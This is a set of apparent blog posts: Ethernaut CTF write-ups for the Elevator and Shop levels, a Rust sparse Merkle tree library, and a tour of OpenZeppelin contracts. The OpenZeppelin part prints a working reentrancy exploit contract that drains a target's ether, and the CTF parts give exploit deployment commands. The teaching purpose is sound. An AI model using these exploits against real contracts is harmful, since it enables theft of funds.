1011. exploiting interfaces

this challenge explores vulnerabilities in smart contract composability (usually classified into ERC standards, libraries, and interfaces):

more specifically, the lesson in this challenge is to be careful when using interfaces (or other contracts), as they introduce an attack surface to any re-implementable function (and view or pure modifiers cannot be treated as guarantees for function behavior).

remember that an interface cannot have any functions implemented, declare a constructor, declare state variables, and all functions must be external.

in addition, another takeaway is to refrain from giving permissions to msg.sender to implement interfaces or modify the storage and state of your contract (unless explicitly required).

discussion

the contract starts with an interface containing an external function that returns a bool if isLastFloor().

note that external allows a state change (an alternative is view, which doesn't allow modification of the state of the contract).

interface Building {
  function isLastFloor(uint) external returns (bool);
}

now, let's look at the Elevator contract, where we already see a mistake in the very definition:

contract Elevator {...}

should be, instead,

contract Elevator is Building {...} 

next, we see two state variables, bool top to indicate if we are at the top and uint floor telling where to go:

bool public top;
uint public floor;

finally, there is one (public) function, which simulates the movement of the elevator by first initiating the building contract (with the data provided by msg.sender) and then taking uint _floor.

this challenge's vulnerability is found in this part, due to the unchecked assumption about the caller:

function goTo(uint _floor) public {
    Building building = Building(msg.sender);
}

if the given floor number is not the last, fill both in variables floor and top:

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }

our goal is to pass the check !building.isLastFloor(_floor) so that we can make top == True by hacking the interface function isLastFloor().

we can achieve this by tailoring an exploit using the interface and defining isLastFloor() to return false in the first call and true in the second call (with the same input).

solution

an exploit could be crafted with contract.call(abi.encodeWithSignature("goTo(uint)", 0)).

however, since we are leveraging foundry, we craft the following exploit:

which can be tested with test/11.Elevator.t.sol:

by running:

> forge test --match-contract ElevatorTest -vvvv

and submitted with script/11/Elevator.s.sol:

by running:

> forge script ./script/11/Elevator.s.sol \ 
                --broadcast -vvvv \ 
                --rpc-url sepolia

pwned...

solution using cast and forge

another way to submit our exploit is through cast. first, we could deploy our attack contract with:

> forge create src/11/ElevatorExploit.sol:ElevatorExploit \ 
          --constructor-args=<level address> \ 
          --private-key=<private-key> \ 
          --rpc-url=<sepolia url> 

then, we call the contract with:

> cast send <level address> "run()" \ 
            --gas <extra gas> \ 
            --private-key=<private-key> --rpc-url=<sepolia url> 

• finally, we can confirm that top() is true with:

> cast call <level address> "top()" --rpc-url=<sepolia url> 

1110. exploiting interfaces II

in this challenge we explore restrictions of view functions through an interface, similarly to level 11 for Elevator:

now, the goal is to find a way to buy items from a Shop contract for a lower price when compared to sold items.

remember that a view function cannot modify the state of the contract.

for instance, it cannot write to state variables, create other contracts, emit events, send ether with call(), use any low-level calls, use selfdestruct(), call functions that pure or view, or use inline assembly with certain opcodes.

discussion

the first part of this contract is the interface Buyer that defines as external view function, price(), representing the amount of wei a Buyer must pay:

interface Buyer {
  function price() external view returns (uint);
}

then, in the Shop contract, we have two state variables:

uint public price = 100;
bool public isSold;

and a public function buy(), where the price() is being called twice.

this is our vulnerability, as one should never trust external inputs (e.g., coming from the interface implementation):

function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
}

in other words, Shop expects Buyer to return the price it is willing to pay to buy the item, believing that the price would not change the second time it is called, as it is a view function.

we will use this as our exploit, querying the value of isSold() and returning a different result based on our needs:

• the first time price() is called, it returns >100 to enter the loop.

• then, the second time, it can return anything lower.

solution

we craft the following exploit at src/21/ShopExploit.sol:

check test/21.Shop.t.sol for testing this solution::

running:

> forge test --match-contract ShopTest -vvvv    

then, submit the solution with script/21/Shop.s.sol:

by running:

> forge script ./script/21/Shop.s.sol --broadcast -vvvv --rpc-url sepolia

pwned...

◻️ motherofbots.eth

today i go over my implementation of a simple library for authenticated data structures and sparse merkle trees.

the source code, in rust, can be found here.

🎵 today’s mood

https://open.spotify.com/track/6AtBumPb5RsfgG3Xo6UsTW?si=2368f6231a324825

“the first half of life is devoted to forming a healthy ego, the second half is going inward and letting go of it.” - carl jung

“the ego refuses to be distressed by the provocations of reality, to let itself be compelled to suffer. it insists that it cannot be affected by the traumas of the external world; it shows, in fact, that such traumas are no more than occasions for it to gain pleasure.” - sigmund freud

001. authenticated data structures

an authenticated data structure (ADS) is an advanced data structure on which an untrusted prover can query for an entry, receiving a result and a proof so that the response can be efficiently checked for authenticity.

you can think of ADSs as cryptographic upgrades of the classic algorithms we are used to (such as hash maps, binary trees, or tries), with an extra operation added to the good an old insert(), lookup(), delete(), update(): the commit().

in other words, we can utilize well-known cryptographic hash functions (such as SHA-256 or SHA-3) to calculate a collision-free data structure representation.

we call this hash representation string the commitment (e.g., a small and unique cryptographic representation of the data structure). commitments must uniquely determine the data structure's value (i.e., if a.commit() == b.commit(), then a == b).

because we trust our hash function, every query should have a valid collision-free proof + a valid proof should imply that the result is correct. this means that proofs for queries must be complete and sound, where completeness means that every valid query result has a valid proof and soundness means that valid proofs imply that the query results are correct.

💡 according to seminal Miller et al, "an authenticated data structure (ADS) is a data structure whose operations can be carried out by an untrusted prover, the results of which a verifier can efficiently check as authentic. this is done by having the prover produce a compact proof that the verifier can check along with each operation’s result. ADSs thus support outsourcing data maintenance and processing tasks to untrusted servers without loss of integrity."

cryptographic hash functions

a cryptographic hash function H is a special function that takes an arbitrarily long sequence of bytes and returns some fixed-size "digest" of that sequence. cryptographic hash functions have two special properties for our purposes:

• preimage resistance: given a digest d, it's infeasible to calculate a string s such that H(s) = d.

• collision resistance: it's infeasible to find two strings s1 and s2 such that H(s1) == H(s2).

for this library, we will be using the SHA-256 hash function, which has a 256-bit digest.

010. authenticated (sorted) key-value stores

an authenticated key-value store is an ADS of an "associative array" or "map".

the methods of the data structure are described in src/kv_trait.rs of my code:

fn new() -> Self;
fn commit(&self) -> Self::Commitment;
fn check_proof(key: Self::K, res: Option<Self::V>, pf: &Self::LookupProof,
        comm: &Self::Commitment) -> Option<()>;
fn insert(self, key: Self::K, value: Self::V) -> Self;
fn get(&self, key: Self::K) -> (Option<Self::V>,Self::LookupProof);
fn remove(self, key: Self::K) -> Self;

note that insert(), get(), and remove() behave like the same methods in std::collections::HashMap, except that insert() and remove() return copies of the ADS rather than taking &mut self.

you can check the full implementation of a sorted key-value store class, represented by a vectorial abstraction of a (unbalanced) binary tree (i.e., the underlying data structure is an array), at src/sorted_kv.rs.

although the key sorts the structure, this is not a binary search tree, as it allows repeated entries. rather, the structure's commitment is an overall hash calculated recursively as a binary tree (this digest is obtained by mapping the merkle hash of each pair - named "merkle mountain range").

011. merkle trees

merkle trees are the canonical and original example of authenticated data structures, designed for easy inclusion proofs but not easy exclusive proofs (e.g., a prover can efficiently convince the verifier that a particular entry is present but not absent - you will understand this better in the next session).

for example, we could use a vectorial abstraction of a binary tree to represent a collection of keys and values at nodes given by an index i.

although there are multiple representations of an associative array, a general rule for this representation is that:

• a right sibling could be found through 2 * ix + 2, so (i % 2 == 0) == true

• a left sibling could be found through 2 * ix + 1, so (i % 2 == 1) == true

the path from a (k, v) node to the root would be calculated as the overall digest hash of the tree from the (k, v) node pointer, with all the sibling hashes.

in other words, the calculation consists of iterating each sibling in the array of siblings' digests, attributing the hashes for left and right sub-trees, and then iteratively hashing them. in this logic, the root hash is the entire commitment of the tree.

💡 since inserting at a specific position cannot be done efficiently (as the whole tree would need to be recomputed), these trees are unsuitable for authenticated key-value maps.

100. sparse merkle trees

now, let’s talk about something even more awesome: sparse merkle trees, which provide efficient exclusion proofs by design (try to figure out why 🕵🏻‍♀️!).

in a sparse merkle tree, a particular (k, v) is represented by a leaf node such that its path from the root is encoded by one of all possible hash digests of the chosen hash function.

so, if the chosen hash function is represented by N bits, the tree's height is N, and the paths down to the 2^N leaf nodes are represented by (N-nodes-deep) bit-strings.

🕵🏻‍♀️ when the (k, v) entry is not present in the map, an empty leaf is assigned (for instance, with an all-0 digest).

in other words, each possible (k, v) entry corresponds to a unique leaf node and is uniquely linked to its position in the tree. on the other hand, each leaf is a unique representation of the 2^N possibilities presented by the digest size N of the cryptographic hash function.

how about the branch nodes?

branches have left and right subtrees given by the digest of its child subtrees digest (something like hash_branch(left_digest_until_here, right_digest_until_here), a concatenated hash of its child nodes).

so any parent branch node can be obtained by hashing together two child nodes recursively until the top to the merkle root of the tree.

💡 note that different hash functions should be used for leaf and branch nodes to prevent preimage attacks.

each child subtree position is found by looking at the bits of hash_function(k). a left branch is denoted as 0 and a right branch as 1, so the most left leaf's key is 0x000..00, the next is 0x00..0, the most right key is 0x11..11, and so on.

in addition, we see that most leaf nodes are empty, and this is cool because the hashes of empty nodes are identical.

the same is true for interior nodes whose children are all empty: subtrees with no leaf nodes are represented as an empty subtree with a digest such as the darling all-0 digest (and hashes of hashes of hashes of (…) of empty nodes are all predictable).

💡 contrary to simple merkle trees, sparse merkle trees are a great choice for authenticated key-value maps due to the history independence of the merkle root from element insertion order.

“well, 2^N with a loooot of zeroes sounds like waste”

yes, to naively create a sparse merkle tree, one would generate all possible 2^N outputs of the hash function as a leaf in the tree and initialize them to the empty value. this generates a nearly unbounded number of data.

however, since required storage is only proportional to the number of items inserted into the tree, some optimizations are possible:

• items on the leaf node are initially None and, therefore, do not need to be stored.

• subtrees with no leaf nodes are represented as "empty subtree", with an all-0 digest.

• internal nodes all have fixed predictable values that can be re-computed as hashes of None values.

therefore, a sparse merkle tree can simply store a set of leaf nodes for the (k, v) pairs plus a set of empty hashes representing the sparse areas of the tree.

and because a sparse merkle is nearly balanced, if there are N entries in the tree, a particular entry could be theoretically reached in log2(N) steps!

rust is the best language, period

as we implement a sparse merkle tree in rust (using SHA-256), we can think of two different types of nodes: SparseMerkleTreeNodeLeaf and SparseMerkleTreeNodeBranch (the full source code for this class is available at src/sparse_merkle_tree.rs).

a very simple lookup function could look like this:

finally, a commit and checking proof could use the following path process:

101. unit tests and fuzzing

to conclude this article, let’s go over some of the testing approaches in this library. first of all, i use nix to set up my virtual environments and you should too.

rust differentiates between "unit" tests and "integration" tests, as described by its documentation. in my code, unit tests are annotated with #[test] macro, and integration tests are annotated with#[cfg(test)] macro.

alternatively, the test hash_btree_insert_get() is an example of a "simulation test", generating scenarios where two different data structures (HashMap and BTreeMap) are tested to behave "the same" for insert() and get() through this check:

assert_eq!(hmap.get(&k), bmap.get(&k));

we extended this concept to compare the behavior of SortedKV and SparseMerkleTree against HashMap through, for example, hash_sortedkv_insert_get() (making sure we test for SortedKV::check_proof()):

we then use quickcheck for property testing, which creates several randomly generated (non-deterministic) inputs, such as in:

fun.

◻️ motherofbots.eth

today i go over some openzeppelin contracts while discussing features and vulnerabilities (such as reentrancy and ownership).

this post is suitable for web2|3 hackers, solidity or non-solidity peeps, and computer nerds in general 🤓. for a general intro to solidity, you can check my web3-starter-sol.

👾 today’s outline

000. an open and secure zeppelin 

001. utils/ 
    - Context.sol: a wrapper for msg.sender and msg.data
    - Array.sol: handy methods for arrays

010. access/
    - Ownable.sol: providing onlyOwner modifier
    - Ownable2Step.sol: an example of inheriting Ownable

011. security/
    - ReentrancyGuard.sol: guard against single function reentrancy attacks

100. proxy/
    - Proxy.sol: implementing core low-level delegation functionality

🎶 today’s mood

https://open.spotify.com/track/5AgIGlGECjfquInIs1olEf?si=32af65d2803f4dbc

000. an open and secure zeppelin

founded in 2015, openzeppelin is an awesome crypto cybersecurity company that has created essential standards for secure blockchain applications.

besides security audits, their main products are the defender platform (now 2.0), the forta network, and the widely used smart contracts libraries (containing implementations of standards such as ERC20 and ERC721, access control and role-based schemes, reusable solidity components, etc.). they also have a vast smart contract documentation (for example, on things like how to extend their contracts via inheritance) and the solidity wizard tool.

diving into their github, there are several projects worth an in-depth review. for instance, my next post will be about my solutions to their ctf game (called ethernaut), using a systematic methodology with foundry (you can take a peak already at my github).

however, today we will be talking about some of openzeppelin’s smart contracts, inside util/, access/, security/, and proxy/:

|----- contracts/
          |
          |----- finance/
          |----- governance/
          |----- interfaces/
          |----- metatx/
          |----- mocks/
          |----- token/
          |----- ✨👀✨ utils/
          |----- ✨👀✨ access/
          |----- ✨👀✨ security/
          |----- ✨👀✨ proxy/

[ perhaps another time we will look at finance/ (e.g., VestingWallet.sol) or governance/ (e.g., TimelockController.sol and Governor.sol), or the token interfaces, metatx/ (e.g., ERC2771*.sol), mock/, token/ (e.g., ERC1155, ERC20, ERC72), etc… as they are all relevant and fun ].

001. utils/

|----- utils/
          |
          |----- cryptography/
                    |----- ECDSA.sol
                    |----- EIP712.sol
                    |----- MerkleProof.sol
                    |----- MessageHashUtils.sol
                    L----- SignatureChecker.sol
          |----- introspection/
                    L----- ERC165.sol
          |----- math/
                    |----- Math.sol
                    |----- SafeCast.sol
                    L----- SignedMath.sol
          |----- structs/
                    |----- BitMaps.sol
                    |----- Checkpoints.sol
                    |----- DoubleEndedQueue.sol
                    |----- EnumerableMap.sol
                    L----- EnumerableSet.sol
          |----- Base64.sol
          |----- Address.sol
          |----- Create2.sol
          |----- Multicall.sol
          |----- Nonces.sol
          |----- ShortStrings.sol
          |----- StorageSlot.sol
          |----- Strings.sol
          |----- ✨👀✨ Arrays.sol
          L----- ✨👀✨ Context.sol

utils/ are miscellaneous contracts and libraries containing utilities for new data types, security, and safe low-level primitives.

before we look at Ownable, Proxy, and ReentrancyGuard, we will look at Context (as it is a short && sweet inherited suite) and to Array (as we can talk a little bit about one of my favorite subjects: algorithms).

for completeness, the other contracts in this directory are:

• the libraries Address,Base64, and Strings, providing operations related to the native data types.

• SafeCast providing ways to convert between signed and unsigned types safely.

• Multicall providing a way to batch together multiple calls in one external call.

• EnumerableMap is an extension of mapping with key-value enumeration (and iteration). same for EnumerableSet.

• Create2 provides utilities to safely use the EVM CREATE2 opcode without dealing with low-level assembly.

utils/Context.sol

Context is an abstract wrapper for the current execution context, i.e., the transaction sender and data.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

contracts must be marked as abstract when at least one of their functions is not implemented or they do not supply arguments for their base contract constructor. they cannot be instantiated directly or override an implemented virtual function with an unimplemented one.

abstract contracts can be helpful in the same logic as defining methods through an interface is.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

this simple contract creates two internal view virtual functions for both msg.sender and msg.data.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

internal functions can only be accessed from inside the current contract or contracts deriving from it. they cannot be accessed externally and are not exposed through the contract’s ABI.

external functions are part of the interface and can only be called from other contracts and transactions. they cannot be called internality (except with this).

public functions are part of the contract interface and can be either called internally or with message calls.

virtual means that the function can change its behavior in derived (overriding) classes (the keyword override must be used in the overriding modifier).

view functions declare that no state will be changed. when a view function is called, the STATICALL opcode is used (enforcing the state to stay unmodified). for library view functions, DELEGATECALL is used (there are no runtime checks that prevent state modifications). a view function cannot modify the state of the contract, for instance by writing to state variables, creating other contracts, emitting events, sending ether with call() or using any low-level calls, using selfdestruct(), calling functions that pure or view, or using inline assembly with certain opcodes.

pure functions declare that no state variable will be changed or read (i.e., it promises not to modify or read from the state). it’s possible to evaluate a pure function at compile-time given only its inputs and msg.data (without knowledge of the blockchain state).

to understand visibility and getters, check solidity by example.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

in summary, Context is an excellent example of how openzeppelin engineers design their code to be more generic and upgradeable.

for instance, if msg.sender becomes obsolete (such as tx.origin), this primitive can be updated in this one-liner instead of across all contracts in the world.

utils/Array.sol

an Array type in solidity has a compile-time fixed size or a dynamic size, and can be declared several ways:

uint[] public array;
uint[] public array = [1, 3, 7];
uint[10] public array;

openzeppelin’s Array is a library that provides a collection of functions related to array types.

it utilizes utils/StorageSlot.sol (for reading and writing primitive types to specific storage slots) and util/math/Math.sol (for math utilities missing in solidity).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

libraries are like contracts, but without any state variable or payable function.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

the internal view findUpperBound() function is an O(log n) search method for (ascending order and non-repeated) sorted arrays, which returns the first index that contains a value greater or equal to element:

💜 this is just our good and old binary search! 💜

if python is more familiar to you, here is a classical implementation of this algorithm:

mostly, when dealing with binary search algorithms, you want to pay attention to the three possible “templates”:

1. while left < right, with left = mid + 1 and right = mid - 1.

2. while left < right, with left = mid + 1 and right = mid, and left is returned.

3. while left + 1 < right, with left = mid and right = mid, and left and right are returned.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

if you are not familiar with algorithms and data structure, i have an entire repository teaching these subjects with detailed examples, based on a book i published many years ago. you should check it out. ( :

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

in the case of Array, we are looking at the second template:

• mid will always be less than high because Math.average() rounds towards zero (integer division with truncation).

• low is the exclusive upper bound.

• the inclusive upper bound is return.

the next three internal pure unsafeAccess() functions deal with the assembly code that calculates the storage slot of the element at the given index pos, for either address[], bytes32[], or uint256[] data structures.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

the types bool, uint256, int256, and address are some of the primitive types available in solidity.

mappings are non-iterable maps where the keys can be a built-in type, bytes, string, or even a contract.

the value types bytes1, bytes2,…, bytes32 hold sequences of bytes from one to up to 32. the type bytes32[] is an array of bytes (the same way uint256[] is an array of uint256, etc.).

by the way, due to padding rules, bytes* with anything less than 32 is a waste (and should be replaced by bytes, a dynamically-sized byte array).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

the language used for inline assembly in solidity is called yul and offers a way to access the EVM at a low level, bypassing safety features and checks.

mstore() represents the opcode MSTORE that writes a (u)int256 to memory (i.e., volatile read-write RAM which is not persistent across transactions).

keccak256(bytes memory) is a cryptographic function that computes the keccak-256 hash of the input (and is used all over ethereum, for example, for creating deterministic unique IDs, commit-reveal schemes, and compact signatures).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

finally, two internal pure unsafeMemoryAccess() functions deal with memory access unsafely by skipping solidity’s index-out-of-range check.

they should only be used if the input index pos is lower than the array length:

010. access/

|----- access/
      |
      |----- ✨👀✨ Ownable.sol
      |----- ✨👀✨ Ownable2Step.sol
      |----- AccessControl.sol
      L----- extensions/

in general, access control is given through ownership, where an account is assigned as the contract’s owner.

the access/ subdirectory provides libraries to restrict who can access the functions of a contract or when they can do it.

while AccessControl states general role-based access control features, Ownable implements a simple mechanism with a single owner that can be assigned to a single account.

access/Ownable.sol

let’s look at the Ownable contract and how an account (owner) can be granted access to specific functions through the onlyOwner modifier (which reverts any function that is not called by the address registered as owner).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

modifiers are code that can be run before and/or after a function call. they are used to restrict access, validate inputs, and perform security checks.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

the main features of this abstract contract are:

• defining the modifier onlyOwner.

• defining a “special” address called owner , set to the address provided by the deployer.

• defining how owner can be changed with transferOwnership().

first, we see that the contract is inheriting from utils/Context.sol (discussed above) and has one private state variable, _owner (remember, state variables are declared outside a function, stored in storage, and updated through a transaction).

then, the contract performs two sanity checks, throwing error if the caller account is not authorized to perform an operation or the owner is not a valid account (e.g., address 0x0).

after that, the OwnershipTransferred() event is declared.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

event is a convenient interface for abstracting the EVM logging protocol. their log entries provide the contract’s address, a series of up to four topics, and some binary data. events leverage the function’s ABI to interpret the typed structure, and can also be used as a cheap form of storage.

error allows the definition of descriptive names and data for failure situations, with an opcode to abort execution and revert all state changes. errors can be thrown by calling require, revert, or assert.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

next, constructor is called, and the contract is initialized, setting the address provided by the deployer as the initial owner (by default, owner is the account that deployed the contract).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

a constructor is an optional function executed upon contract creation that can run contract initialization code. before it is executed, state variables are initialized (to their values or default values). after it has run, the final code of the contract is deployed to the blockchain.

if there is no constructor, the contract will assume the default constructor() {}.

learn more about how constructor could be exploited in my ethernaut solution for fal1out.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

finally, we see the creation of the modifier onlyOwner, stating that the function must be called by the owner.

the internal view virtual checker _checkOwner() verifies that msg.sender is owner, and any other account reverts with OwnableUnauthorizedAccount().

if the check pass, _; states that the function should execute normally as it will be replaced by the actual function body when the modifier is used.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

the underscore “_” is used inside* a function modifier to tell solidity to *execute the rest of the code.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

note that _msgSender() is a wrapper from Context.sol, the same way owner() is a wrapper for the state variable _owner.

the last part of this contract is two public and one internal functions to deal with ownership changes. note that the public functions are already modified by onlyOwner.

renounceOwnership() leaves the contract without owner and can only be called by the current owner.

transferOwnership() and _transferOwnership() transfer owner to a new account (newOwner), emitting an OwnershipTransferred() event. they also can only be called by the current owner.

in conclusion, the modifier onlyOwner is seen in many projects as ownership can be assigned to a simple EOA, multiple EOAs, multisig accounts, or complex modules with timelocks and governance. just a few examples: the address manager contract in optimistic ethereum, the usdc stablecoin contract, and the chainLink price feeds contract.

as a final example of its applicability, here is an example in an AllowList:

the limitations of Ownable is that only one address can be owner at a given time, and only the owner gets to decide who is newOwner.

when different authorization levels are needed, role-based access control (RBAC) can define multiple roles, each allowed to perform different sets of actions (e.g., instead of onlyOwner, use onlyAdminRole in some places, and onlyModeratorRole in others).

openzeppelin provides the contract Roles and AccessControl for such extensions.

access/Ownable2Step.sol:

as an illustration, let’s take a quick look at another contract in the access/ directory, whose parent is Ownable.

Ownable2Step provides an access control mechanism where there is an account (owner) with, now, two functions for ownership transferring, transferOwnership() and acceptOwnership(), for added safety of a securely designed two-step process:

011. security/

|----- security/
      |
      |----- Pausable.sol
      L----- ✨👀✨ ReentrancyGuard.sol

contracts inside security/ seek to deal with common security practices:

• ReentrancyGuard is a modifier that can prevent reentrancy for single contract functions.

• Pausable is an emergency response mechanism that can pause a functionality if remediation is needed.

although Pausable is an interesting contract, today we will discuss the reentrancy module.

security/ReentrancyGuard.sol

contracts may call other contracts by function calls or transferring ether. they can also call back contracts that called them (i.e., reentering) or any other contract in the call stack.

a reentrancy attack can happen when a contract is reentered in an invalid state. this can happen if the contract calls other untrusted contracts or transfers funds to untrusted accounts.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

a state in the blockchain is considered valid when the contract-specific invariants hold true.

contract invariants are properties of the program state that are expected always to be true. for instance, the value of owner state variable, the total token supply, etc., should always remain the same.

to learn more, @andrzej has a great post on contract, preconditions, & invariants.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

in its simplest version, an attacking contract exploits vulnerable code in another contract to seize the flow of operation or funds.

for example, an attacker could repeatedly call a withdraw() or receive() function (or similar balance updating function) before a vulnerable contract’s balance is updated.

here is a step-by-step scenario:

1. a vulnerable contract has X ether.

2. an attacker stores 1 ether with a deposit() function.

3. an attacker calls the withdraw() function and points the recipient address to their malicious contract.

4. the withdraw() function verifies that the attacker has 1 ether (yes, from their deposit) and transfers 1 ether to the malicious contract.

5. the fallback() function is triggered when the ether is received and, before balances is updated, calls withdraw() repeatedly until the vulnerable contract is drained (X + 1 ether is sent to the attacker).

reentrancy attacks can happen on a single function, multiple functions, or even extend across distinct smart contracts:

• single reentrancy attacks can occur when a vulnerable function is the same function the attack is trying to call recursively.

• cross-function attacks can occur when two or more functions (including a vulnerable one) share the same state variables. they are harder to detect and prevent.

• cross-contract attacks can occur when contracts share the same state (e.g., if multiple contracts share the same variable and a contract updates it insecurely). an example could be the exploitation of an ERC-777 token, which enables “operators” to send tokens on behalf of a token owner by adding send() and receive() hooks (this was exploited on the uniswap/lendf.me attack).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

on june 17th, 2016, ”The DAO” was compromised, and 3.6 million ETH were stolen using a single-function reentrancy attack. the ethereum foundation had to issue a critical update to reverse the hack, leading to its fork.

recent reentrancy hacks were plx locker (2021), cream finance (2021), rari capital (2021), siren protocol (2021), paraluni (2022), revest finance (2022), fei protocol (2022), ola finance (2022), and safemint(2022).

i also highly recommend @pcaversaccio historical collection of reentrancy attacks.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

if it still feels a bit abstract, don’t worry. let’s try again with code.

consider the following Vulnerable contract with a public withdraw() function, where an external call() aims to transfer (withdraw) ETH to msg.sender:

the contract invariant is that its total amount of funds should equal the sum of all entries in balances.

however, because the user’s balance is updated to 0 ONLY after call(), the invariant is broken because amount has been sent, but balances has not been updated yet.

if msg.sender is another smart contract, it can, as we saw above, recall withdraw() function through fallback() or receive() (they would be triggered when ether is sent to the attacker’s contract).

since balances is not updated until after the call, the reentering invocation of withdraw() can be repeated and drain the contract.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

solidity’s fallback() function is executed if none of the other functions match the function identifier or no data was provided with the function call. it can be optionally payable.

receive() is a new keyword in solidity 0.6.x, and it is used as a fallback() function for empty calldata (or any value) that is only able to receive ether.

to learn more about fallback() exploitation, check this ethernaut solution.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

in this exploit, the only checks the attacker needs are:

1. the accumulated gas cost, and

2. the overall balance of the target smart contract (to ensure they are not attempting to withdraw more ether than the contract holds, as it would revert the entire transaction and change the state).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

but, what is gas, really?

gas is a unit of computation. each transaction is charged with some gas that has to be paid for by the originator.

gas spent is the total amount of gas used in a transaction. if the gas is used up at any point, an out-of-gas exception is triggered, ending execution and reverting all modifications made to the state in the current call frame. since each block has a maximum amount of gas, it also limits the work needed to validate a block.

gas price is how much ether you are willing to pay for gas. it's set by the originator of the transaction, who has to pay gas_price * gas upfront to the EVM executor (and any gas left is refunded, except for exceptions that revert changes).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

so what’s the solution for reentrancy?

initially, single-function reentrancy vulnerabilities could be fixed by deferring the external call until after balances has been updated:

however, this solution also has issues. if another function calls withdraw(), the attack could still be possible through cross-function reentrancy (i.e., when multiple functions share the same state).

for instance, an attacker could reenter the contract with a transfer() function while withdraw() call has not yet concluded (and balances for msg.sender has not been set to 0 yet):

a remediation is to defer ANY external call until after all relevant state changes have occurred.

✨ enters openzeppelin’s ReentrancyGuard ✨

the contract allows a universal solution to reentrancy protection for individual contracts through a mutex technique (i.e., working with lock states that only owner can change):

by using the modifier nonReentrant, other contracts could safely consume NotVulnerable, using public balances for its logic while withdraw() safeguarded against reentrancy.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

to learn from a reentrancy practical problem, check my ethernaut foundry solution for this vulnerability. here is a teaser of the exploit i wrote:

contract ReentrancyExploit {

    Reentrance private level;
    bool private _ENTERED;
    address private owner;
    uint256 private initialDeposit;

    constructor(Reentrance _level) {
        owner = msg.sender;
        level = _level;
        _ENTERED = false;
    }

    function run() public payable {
        require(msg.value > 0, "must send some ether");
        initialDeposit = msg.value;
        level.donate{value: msg.value}(address(this));
        level.withdraw(initialDeposit);
        level.withdraw(address(level).balance);
    }

    function withdrawtoHacker() public returns (bool) {
        uint256 hackerBalancer = address(this).balance;
        (bool success, ) = owner.call{value: hackerBalancer}("");
        return success;
    }

    receive() external payable {
        if (!_ENTERED) {
            _ENTERED = true;
            level.withdraw(initialDeposit);
        }
    }
}

i also highly recommend you check openzeppelin’s post on the reentrancy guard after istanbul hard fork and eip-1884.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

now let’s take a deeper look at ReentrancyGuard. the abstract contract ReentrancyGuard starts with:

• three private uint256 state variables. the first two, _NOT_ENTERED and _ENTERED, serve as (a cheap) bool.

• a general error, and

• a constructor that starts with _status equal to false (meaning, “not entered yet” or false) when the contract is deployed.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

ReentrancyGuard contains a docstring explaining why _NOT_ENTERED = 1 and _ENTERED = 2:

“bool are more expensive than uint256 or any type that takes up a full word because each write operation emits an extra SLOAD to first read the slot's contents, replace the bits taken up by the bool, and then write back. this is the compiler's defense against contract upgrades and pointer aliasing, and it cannot be disabled.

